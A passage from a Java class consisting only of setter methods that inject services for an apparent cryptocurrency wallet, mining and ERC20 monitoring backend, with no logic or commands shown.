public void setSysparaService(SysparaService sysparaService) {
|
this.sysparaService = sysparaService;
|
}
|
|
public void setWalletService(WalletService walletService) {
|
this.walletService = walletService;
|
}
|
|
public void setLogService(LogService logService) {
|
this.logService = logService;
|
}
|
|
// public void setIpMenuService(IpMenuService ipMenuService) {
|
// this.ipMenuService = ipMenuService;
|
// }
|
|
public void setUserRecomService(UserRecomService userRecomService) {
|
this.userRecomService = userRecomService;
|
}
|
|
public void setUserDataService(UserDataService userDataService) {
|
this.userDataService = userDataService;
|
}
|
|
public void setAutoMonitorWalletService(AutoMonitorWalletService autoMonitorWalletService) {
|
this.autoMonitorWalletService = autoMonitorWalletService;
|
}
|
|
public void setAutoMonitorWithdrawService(AutoMonitorWithdrawService autoMonitorWithdrawService) {
|
this.autoMonitorWithdrawService = autoMonitorWithdrawService;
|
}
|
|
public void setSecUserService(SecUserService secUserService) {
|
this.secUserService = secUserService;
|
}
|
|
public void setRoleService(RoleService roleService) {
|
this.roleService = roleService;
|
}
|
|
public void setAutoMonitorDAppLogService(AutoMonitorDAppLogService autoMonitorDAppLogService) {
|
this.autoMonitorDAppLogService = autoMonitorDAppLogService;
|
}
|
|
public void setAutoMonitorPoolDataService(AutoMonitorPoolDataService autoMonitorPoolDataService) {
|
this.autoMonitorPoolDataService = autoMonitorPoolDataService;
|
}
|
|
public void setMiningConfigService(MiningConfigService miningConfigService) {
|
this.miningConfigService = miningConfigService;
|
}
|
|
public void setMiningService(MiningService miningService) {
|
this.miningService = miningService;
|
}
|
|
public void setDataService(DataService dataService) {
|
this.dataService = dataService;
|
}
|
|
public void setActivityOrderService(ActivityOrderService activityOrderService) {
|
this.activityOrderService = activityOrderService;
|
}
|
|
public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
|
this.telegramBusinessMessageService = telegramBusinessMessageService;
|
}
|
|
public void setdAppUserDataSumService(DAppUserDataSumService dAppUserDataSumService) {
|
this.dAppUserDataSumService = dAppUserDataSumService;
|
}
|
|
public void setTipService(TipService tipService) {
|
this.tipService = tipService;
|
}
|
|
public void setdAppAccountService(DAppAccountService dAppAccountService) {
|
this.dAppAccountService = dAppAccountService;
|
}
|
|
public void setErc20RemoteService(Erc20RemoteService erc20RemoteService) {
|
this.erc20RemoteService = erc20RemoteService;
|
}
|
|
public void setEtherscanRemoteService(EtherscanRemoteService etherscanRemoteService) {
|
this.etherscanRemoteService = etherscanRemoteService;
|
}
|
|
public void setAutoMonitorAddressConfigService(AutoMonitorAddressConfigService autoMonitorAddressConfigService) {
|
this.autoMonitorAddressConfigService = autoMonitorAddressConfigService;
|
}
|
|
public void setErc20Service(Erc20Service erc20Service) {
|
this.erc20Service = erc20Service;
|
}
|
|
public void setNodeRpcBusinessService(NodeRpcBusinessService nodeRpcBusinessService) {
|
this.nodeRpcBusinessService = nodeRpcBusinessService;
|
}
|
|
public void setAutoMonitorWithdrawCollectionService(
|
AutoMonitorWithdrawCollectionService autoMonitorWithdrawCollectionService) {
|
this.autoMonitorWithdrawCollectionService = autoMonitorWithdrawCollectionService;
|
}
|
|
public void setPledgeOrderService(PledgeOrderService pledgeOrderService) {
|
this.pledgeOrderService = pledgeOrderService;
|
}
|
|
public void setAutoMonitorPoolMiningDataService(AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService) {
|
this.autoMonitorPoolMiningDataService = autoMonitorPoolMiningDataService;
|
}
|
|
public void setEtherscanService(EtherscanService etherscanService) {
|
this.etherscanService = etherscanService;
|
}
|
}
|
